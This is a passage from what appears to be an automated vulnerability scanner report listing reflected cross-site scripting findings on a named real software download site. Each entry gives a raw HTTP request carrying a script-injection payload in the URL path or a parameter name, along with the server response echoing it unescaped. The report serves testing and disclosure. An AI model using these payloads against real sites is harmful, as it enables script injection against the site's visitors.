HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:43:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:53:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73557
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-multipart-downloads.html4fada"><script>alert(1)</script>70bed0cb402" /> ...[SNIP]...
4.1552. http://www.x64bitdownload.com/64-bit-multipart-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-multipart-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8218"><script>alert(1)</script>80184a44002 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-multipart-downloads.html?c8218"><script>alert(1)</script>80184a44002=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:08 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73560
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-multipart-downloads.html?c8218"><script>alert(1)</script>80184a44002=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0ec5"><script>alert(1)</script>f58c4ad49c2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-news-c-44-newsgroup-clients-downloads.htmlb0ec5"><script>alert(1)</script>f58c4ad49c2 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:47 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 42660
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-news-c-44-newsgroup-clients-downloads.htmlb0ec5"><script>alert(1)</script>f58c4ad49c2" /> ...[SNIP]...
4.1554. http://www.x64bitdownload.com/64-bit-news-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6397"><script>alert(1)</script>35e6393fe11 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-news-c-44-newsgroup-clients-downloads.html?d6397"><script>alert(1)</script>35e6393fe11=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:09 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 42663
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-news-c-44-newsgroup-clients-downloads.html?d6397"><script>alert(1)</script>35e6393fe11=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 621e6"><script>alert(1)</script>f97e27d071e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-news-downloads.html621e6"><script>alert(1)</script>f97e27d071e HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:01 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87022
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-news-downloads.html621e6"><script>alert(1)</script>f97e27d071e" /> ...[SNIP]...
4.1556. http://www.x64bitdownload.com/64-bit-news-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-news-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84391"><script>alert(1)</script>fc16f13d74f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-news-downloads.html?84391"><script>alert(1)</script>fc16f13d74f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87025
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-news-downloads.html?84391"><script>alert(1)</script>fc16f13d74f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aea20"><script>alert(1)</script>0c390275c86 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-news-reader-downloads.htmlaea20"><script>alert(1)</script>0c390275c86 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:56 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:04 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22news-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22news+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94458
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-news-reader-downloads.htmlaea20"><script>alert(1)</script>0c390275c86" /> ...[SNIP]...
4.1558. http://www.x64bitdownload.com/64-bit-news-reader-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-news-reader-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db679"><script>alert(1)</script>d820eccf371 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-news-reader-downloads.html?db679"><script>alert(1)</script>d820eccf371=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22news-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22news+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-news-reader-downloads.html?db679"><script>alert(1)</script>d820eccf371=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4bcf"><script>alert(1)</script>e2a44662479 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsfeed-downloads.htmle4bcf"><script>alert(1)</script>e2a44662479 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:08 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:10 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37242
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsfeed-downloads.htmle4bcf"><script>alert(1)</script>e2a44662479" /> ...[SNIP]...
4.1560. http://www.x64bitdownload.com/64-bit-newsfeed-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-newsfeed-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2049a"><script>alert(1)</script>3be85d0325f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsfeed-downloads.html?2049a"><script>alert(1)</script>3be85d0325f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:57 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:12 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsfeed-downloads.html?2049a"><script>alert(1)</script>3be85d0325f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc0f0"><script>alert(1)</script>db92b86c3df was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsgroup-c-44-newsgroup-clients-downloads.htmldc0f0"><script>alert(1)</script>db92b86c3df HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36496
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsgroup-c-44-newsgroup-clients-downloads.htmldc0f0"><script>alert(1)</script>db92b86c3df" /> ...[SNIP]...
4.1562. http://www.x64bitdownload.com/64-bit-newsgroup-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2749"><script>alert(1)</script>451987c9093 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsgroup-c-44-newsgroup-clients-downloads.html?b2749"><script>alert(1)</script>451987c9093=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:44 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36499
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsgroup-c-44-newsgroup-clients-downloads.html?b2749"><script>alert(1)</script>451987c9093=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 822b0"><script>alert(1)</script>c828d960a93 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsgroup-downloads.html822b0"><script>alert(1)</script>c828d960a93 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76134
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsgroup-downloads.html822b0"><script>alert(1)</script>c828d960a93" /> ...[SNIP]...
4.1564. http://www.x64bitdownload.com/64-bit-newsgroup-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-newsgroup-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18e37"><script>alert(1)</script>5191ca0d343 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsgroup-downloads.html?18e37"><script>alert(1)</script>5191ca0d343=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:48:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:58:42 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76137
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsgroup-downloads.html?18e37"><script>alert(1)</script>5191ca0d343=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 568b0"><script>alert(1)</script>8a53e952c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsgroups-c-44-newsgroup-clients-downloads.html568b0"><script>alert(1)</script>8a53e952c4 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31428
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsgroups-c-44-newsgroup-clients-downloads.html568b0"><script>alert(1)</script>8a53e952c4" /> ...[SNIP]...
4.1566. http://www.x64bitdownload.com/64-bit-newsgroups-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdf61"><script>alert(1)</script>fa8586d080a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsgroups-c-44-newsgroup-clients-downloads.html?bdf61"><script>alert(1)</script>fa8586d080a=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31432
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsgroups-c-44-newsgroup-clients-downloads.html?bdf61"><script>alert(1)</script>fa8586d080a=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3ac5"><script>alert(1)</script>c5960a7fdd6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsgroups-downloads.htmlf3ac5"><script>alert(1)</script>c5960a7fdd6 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
